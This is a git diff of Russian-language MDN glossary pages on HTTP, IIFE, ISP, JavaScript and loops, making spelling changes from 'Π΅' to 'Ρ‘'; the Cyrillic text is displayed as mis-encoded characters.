<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒΒ HTML Ρ‚Π΅Π³ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{Glossary("attribute","Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ²")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π°ΡŽΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°ΡŽΡ‚ Ρ‚ΠΎ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ элСмСнт:</p>
diff --git a/files/ru/glossary/http/index.html b/files/ru/glossary/http/index.html
index 894a9b4222..2e045fe006 100644
--- a/files/ru/glossary/http/index.html
+++ b/files/ru/glossary/http/index.html
@@ -12,7 +12,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/HTTP
---
<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ гипСртСкста (HTTP) являСтся Π±Π°Π·ΠΎΠ²Ρ‹ΠΌ сСтСвым </span></span>{{glossary("protocol")}}<span class="tlid-translation translation" lang="ru"><span title="">, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Ρ‚ΡŒ Π³ΠΈΠΏΠ΅Ρ€ΠΌΠ΅Π΄ΠΈΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π² </span></span>{{glossary("World Wide Web","Web")}}<span class="tlid-translation translation" lang="ru"><span title="">, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΈ сСрвСром, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π±Ρ‹ люди ΠΌΠΎΠ³Π»ΠΈ ΠΈΡ… Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ.</span> <span title="">ВСкущая вСрсия спСцификации HTTP называСтся <a href="/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/HTTP_2">HTTP/2</a>.</span><br>
<br>
- <span title="">Как Ρ‡Π°ΡΡ‚ΡŒ URI, Β«http://Β» называСтся Β«</span></span>schema<span class="tlid-translation translation" lang="ru"><span title="">Β» ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ стоит Π² Π½Π°Ρ‡Π°Π»Π΅ адрСса, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Β«https://developer.mozilla.orgΒ», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ</span> <span title="">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ с использованиСм ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP.</span> <span title="">Https Π² этом случаС относится ΠΊ Π·Π°Ρ‰ΠΈΡ‰Π΅Π½Π½ΠΎΠΉ вСрсии ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP, </span></span>{{glossary("SSL")}}<span class="tlid-translation translation" lang="ru"><span title=""> (Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ TLS).</span><br>
+ <span title="">Как Ρ‡Π°ΡΡ‚ΡŒ URI, Β«http://Β» называСтся Β«</span></span>schema<span class="tlid-translation translation" lang="ru"><span title="">Β» ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ стоит Π² Π½Π°Ρ‡Π°Π»Π΅ адрСса, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² Β«https://developer.mozilla.orgΒ», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π·Π°ΠΏΡ€ΠΎΡΠΈΡ‚ΡŒ</span> <span title="">Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ с использованиСм ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP.</span> <span title="">Https Π² этом случаС относится ΠΊ Π·Π°Ρ‰ΠΈΡ‰Ρ‘Π½Π½ΠΎΠΉ вСрсии ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP, </span></span>{{glossary("SSL")}}<span class="tlid-translation translation" lang="ru"><span title=""> (Ρ‚Π°ΠΊΠΆΠ΅ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ TLS).</span><br>
<br>
<span title="">HTTP являСтся тСкстовым (всС сообщСния ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡŽΡ‚ΡΡ Π² Π²ΠΈΠ΄Π΅ простого тСкста), Π±Π΅Π· запоминания состояния (Π½Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… сообщСниях).</span> <span title="">Π­Ρ‚ΠΎ свойство Π΄Π΅Π»Π°Π΅Ρ‚ Π΅Π³ΠΎ ΠΈΠ΄Π΅Π°Π»ΡŒΠ½Ρ‹ΠΌ для чтСния людьми Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² (Π²Π΅Π±-сайтов) Π²ΠΎ всСмирной ΠΏΠ°ΡƒΡ‚ΠΈΠ½Π΅.</span> <span title="">Однако HTTP Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² качСствС основы Π²Π΅Π±-сСрвисов REST для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ сообщСний ΠΎΡ‚ сСрвСра ΠΊ сСрвСру ΠΈΠ»ΠΈ запросов AJAX Π½Π° Π²Π΅Π±-сайтах, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΈΡ… Π±ΠΎΠ»Π΅Π΅ Π΄ΠΈΠ½Π°ΠΌΠΈΡ‡Π½Ρ‹ΠΌΠΈ.</span></span></p>
diff --git a/files/ru/glossary/iife/index.html b/files/ru/glossary/iife/index.html
index 88496f4294..c8a8c3be51 100644
--- a/files/ru/glossary/iife/index.html
+++ b/files/ru/glossary/iife/index.html
@@ -17,15 +17,15 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/IIFE
statements
})();</code></pre>
-<p>Π­Ρ‚ΠΎ Ρ‚ΠΈΠΏ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Ρ‚Π°ΠΊΠΆΠ΅ извСстный ΠΊΠ°ΠΊ {{glossary("Self-Executing Anonymous Function")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ состоит ΠΈΠ· Π΄Π²ΡƒΡ… основных частСй. ΠŸΠ΅Ρ€Π²Π°Ρ - это сама анонимная функция с лСксичСской ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ видимости, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ Π²Π½ΡƒΡ‚Ρ€ΠΈΒ {{jsxref("Operators/Grouping", "ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΠΈ")}}Β <code>()</code>. Благодаря этому ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β IIFE Π·Π°ΠΌΡ‹ΠΊΠ°ΡŽΡ‚ΡΡΒ Π² Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ…, и глобальная ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости ΠΈΠΌΠΈ нС засоряСтся.</p>
+<p>Π­Ρ‚ΠΎ Ρ‚ΠΈΠΏ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Ρ‚Π°ΠΊΠΆΠ΅ извСстный ΠΊΠ°ΠΊ {{glossary("Self-Executing Anonymous Function")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ состоит ΠΈΠ· Π΄Π²ΡƒΡ… основных частСй. ΠŸΠ΅Ρ€Π²Π°Ρ - это сама анонимная функция с лСксичСской ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ видимости, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ Π²Π½ΡƒΡ‚Ρ€ΠΈΒ {{jsxref("Operators/Grouping", "ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΠΈ")}}Β <code>()</code>. Благодаря этому ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅Β IIFE Π·Π°ΠΌΡ‹ΠΊΠ°ΡŽΡ‚ΡΡΒ Π² Π΅Π³ΠΎ ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ…, и глобальная ΠΎΠ±Π»Π°ΡΡ‚ΡŒ видимости ΠΈΠΌΠΈ нС засоряСтся.</p>
-<p>Вторая Ρ‡Π°ΡΡ‚ΡŒ создаСт ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰Π΅Π΅ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Β <code>()</code>Β , благодаря ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒΒ JavaScript-Π΄Π²ΠΈΠΆΠΎΠΊ выполняСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ.</p>
+<p>Вторая Ρ‡Π°ΡΡ‚ΡŒ создаёт ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰Π΅Π΅ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Β <code>()</code>Β , благодаря ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒΒ JavaScript-Π΄Π²ΠΈΠΆΠΎΠΊ выполняСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Ѐункция становится ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΌΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹Β Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ Π΅Π΅ области видимости.</p>
+<p>Ѐункция становится ΠΌΠ³Π½ΠΎΠ²Π΅Π½Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠΌΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ. ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹Β Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ Π΅Ρ‘ области видимости.</p>
<pre><code>(function () {
var aName = "Barry";
diff --git a/files/ru/glossary/isp/index.html b/files/ru/glossary/isp/index.html
index 306c905762..a784aa81e0 100644
--- a/files/ru/glossary/isp/index.html
+++ b/files/ru/glossary/isp/index.html
@@ -9,7 +9,7 @@ tags:
translation_of: Glossary/ISP
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€
---
-<p>ISP (Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€) ΠΏΡ€ΠΎΠ΄Π°Π΅Ρ‚ доступ ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ, Π° ΠΈΠ½ΠΎΠ³Π΄Π° ΠΈ ΡΠ»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΏΠΎΡ‡Ρ‚Ρƒ, Π²Π΅Π±-хостинг ΠΈ VoIP, Π»ΠΈΠ±ΠΎ ΠΏΡƒΡ‚Π΅ΠΌ установлСния соСдинСния ΠΏΠΎ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ (которая Ρ€Π°Π½ΡŒΡˆΠ΅ Π±Ρ‹Π»Π° распространСна), Π»ΠΈΠ±ΠΎ Ρ‡Π΅Ρ€Π΅Π· ΡˆΠΈΡ€ΠΎΠΊΠΎΠΏΠΎΠ»ΠΎΡΠ½ΠΎΠ΅ соСдинСниС, Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ°ΠΊ ΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΌΠΎΠ΄Π΅ΠΌ ΠΈΠ»ΠΈ DSL-сСрвис.Β </p>
+<p>ISP (Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€) ΠΏΡ€ΠΎΠ΄Π°Ρ‘Ρ‚ доступ ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ, Π° ΠΈΠ½ΠΎΠ³Π΄Π° ΠΈ ΡΠ»Π΅ΠΊΡ‚Ρ€ΠΎΠ½Π½ΡƒΡŽ ΠΏΠΎΡ‡Ρ‚Ρƒ, Π²Π΅Π±-хостинг ΠΈ VoIP, Π»ΠΈΠ±ΠΎ ΠΏΡƒΡ‚Ρ‘ΠΌ установлСния соСдинСния ΠΏΠΎ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ (которая Ρ€Π°Π½ΡŒΡˆΠ΅ Π±Ρ‹Π»Π° распространСна), Π»ΠΈΠ±ΠΎ Ρ‡Π΅Ρ€Π΅Π· ΡˆΠΈΡ€ΠΎΠΊΠΎΠΏΠΎΠ»ΠΎΡΠ½ΠΎΠ΅ соСдинСниС, Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ°ΠΊ ΠΊΠ°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΌΠΎΠ΄Π΅ΠΌ ΠΈΠ»ΠΈ DSL-сСрвис.Β </p>
<h2 id="Π£Π·Π½Π°ΠΉΡ‚Π΅_большС">Π£Π·Π½Π°ΠΉΡ‚Π΅ большС</h2>
diff --git a/files/ru/glossary/javascript/index.html b/files/ru/glossary/javascript/index.html
index 1c80137ef1..81d827abf0 100644
--- a/files/ru/glossary/javascript/index.html
+++ b/files/ru/glossary/javascript/index.html
@@ -14,11 +14,11 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/JavaScript
<p>Π—Π°Π΄ΡƒΠΌΠ°Π½Π½Ρ‹ΠΉ Π‘Ρ€Π΅Π½Π΄Π°Π½ΠΎΠΌ Π­ΠΉΡ…ΠΎΠΌ (Ρ‚ΠΎΠ³Π΄Π° Ρ€Π°Π±ΠΎΡ‚Π°Π» Π² Netscape Corporation) ΠΊΠ°ΠΊ сСрвСрный язык, Javascript вскорС появился Π² Netscape Navigator 2.0 Π² сСнтябрС 1995 Π³ΠΎΠ΄Π°.Β JavaScript сразу ΠΆΠ΅ добился успСха ΠΈΒ {{glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}} прСдставил ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ JavaScript ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ JScript Π² августС 1996 Π³ΠΎΠ΄Π°.</p>
-<p>Π’ ноябрС 1996 Π³ΠΎΠ΄Π° Netscape Π½Π°Ρ‡Π°Π»Π° ΡΠΎΡ‚Ρ€ΡƒΠ΄Π½ΠΈΡ‡Π°Ρ‚ΡŒ с ECMA International, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ JavaScript отраслСвым стандартом. Π‘ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ стандартизированный JavaScript называСтся ECMAScript ΠΈ ΠΈΠ·Π»ΠΎΠΆΠ΅Π½ Π² ECMA-262, Ρ‡ΡŒΠ΅ послСднСС (дСвятоС, ES2018) ΠΈΠ·Π΄Π°Π½ΠΈΠ΅ доступно с июня 2018Β Π³ΠΎΠ΄Π°.</p>
+<p>Π’ ноябрС 1996 Π³ΠΎΠ΄Π° Netscape Π½Π°Ρ‡Π°Π»Π° ΡΠΎΡ‚Ρ€ΡƒΠ΄Π½ΠΈΡ‡Π°Ρ‚ΡŒ с ECMA International, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ JavaScript отраслСвым стандартом. Π‘ Ρ‚Π΅Ρ… ΠΏΠΎΡ€ стандартизированный JavaScript называСтся ECMAScript ΠΈ ΠΈΠ·Π»ΠΎΠΆΠ΅Π½ Π² ECMA-262, Ρ‡ΡŒΡ‘ послСднСС (дСвятоС, ES2018) ΠΈΠ·Π΄Π°Π½ΠΈΠ΅ доступно с июня 2018Β Π³ΠΎΠ΄Π°.</p>
<p>JavaScript Π² основном ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, Ρ‡Ρ‚ΠΎ позволяСт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΌΠ°Π½ΠΈΠΏΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ содСрТимым Π²Π΅Π±-страницы с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{Glossary("DOM")}}, Π΄Π°Π½Π½Ρ‹ΠΌΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{Glossary("AJAX")}} ΠΈΒ {{Glossary("IndexedDB")}}, Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{Glossary("canvas")}},Β Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с устройством ΠΏΠΎΠ΄ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Ρ‡Π΅Ρ€Π΅Π· Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅Β {{Glossary("API","APIs")}} ΠΈ Ρ‚.Π΄.Β JavaScript являСтся ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… языков Π² ΠΌΠΈΡ€Π΅ благодаря Π½Π΅Π΄Π°Π²Π½Π΅ΠΌΡƒ росту ΠΈ ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ доступных Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… {{Glossary ("API", "APIs")}}.</p>
-<p>Π’ послСднСС врСмя ΠΏΠΎΠΏΡƒΠ»ΡΡ€Π½ΠΎΡΡ‚ΡŒ JavaScript Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠ»Π°ΡΡŒ Π΅Ρ‰Π΅ большС благодаря ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅ <a href="http://nodejs.org/">Node.js</a> - самой популярной кроссплатформСнной срСдС выполнСния JavaScript Π²Π½Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.Β Node.js позволяСт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ JavaScript Π² качСствС языка сцСнариСв для Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π° ПК ΠΈ создания ΠΏΠΎΠ»Π½ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ…Β {{Glossary ("HTTP")}} ΠΈΒ {{Glossary ("WebSockets")}} сСрвСров.</p>
+<p>Π’ послСднСС врСмя ΠΏΠΎΠΏΡƒΠ»ΡΡ€Π½ΠΎΡΡ‚ΡŒ JavaScript Ρ€Π°ΡΡˆΠΈΡ€ΠΈΠ»Π°ΡΡŒ Π΅Ρ‰Ρ‘ большС благодаря ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠΉ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅ <a href="http://nodejs.org/">Node.js</a> - самой популярной кроссплатформСнной срСдС выполнСния JavaScript Π²Π½Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.Β Node.js позволяСт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ JavaScript Π² качСствС языка сцСнариСв для Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π° ПК ΠΈ создания ΠΏΠΎΠ»Π½ΠΎΡ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ…Β {{Glossary ("HTTP")}} ΠΈΒ {{Glossary ("WebSockets")}} сСрвСров.</p>
<h2 id="Узнай_большС">Узнай большС</h2>
diff --git a/files/ru/glossary/loop/index.html b/files/ru/glossary/loop/index.html
index a19b8c592c..a7b297a16b 100644
--- a/files/ru/glossary/loop/index.html
+++ b/files/ru/glossary/loop/index.html
@@ -10,7 +10,7 @@ tags:
translation_of: Glossary/loop
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/loop
---
-<p>Π¦ΠΈΠΊΠ» - это ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ инструкций, которая постоянно повторяСтся Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π² {{Glossary('computer programming', 'ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅')}} Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ условиС. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ»ΡƒΠΆΠΈΡ‚ΡŒ процСсс получСния элСмСнта Π΄Π°Π½Π½Ρ‹Ρ…, Π΅Π³ΠΎ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ измСнСния, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈΒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…Β {{Glossary ('conditional', 'условий')}}, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎ счСтчик достиг Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ числа.</p>
+<p>Π¦ΠΈΠΊΠ» - это ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ инструкций, которая постоянно повторяСтся Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π² {{Glossary('computer programming', 'ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅')}} Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ условиС. ΠŸΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ»ΡƒΠΆΠΈΡ‚ΡŒ процСсс получСния элСмСнта Π΄Π°Π½Π½Ρ‹Ρ…, Π΅Π³ΠΎ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ измСнСния, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈΒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ…Β {{Glossary ('conditional', 'условий')}}, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎ счётчик достиг Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ числа.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -36,7 +36,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/loop
//Π­Ρ‚ΠΎΡ‚ Ρ†ΠΈΠΊΠ» Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ числа 0-9 ΠΈ остановится, ΠΊΠΎΠ³Π΄Π° условиС Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ (i = 10)
</pre>
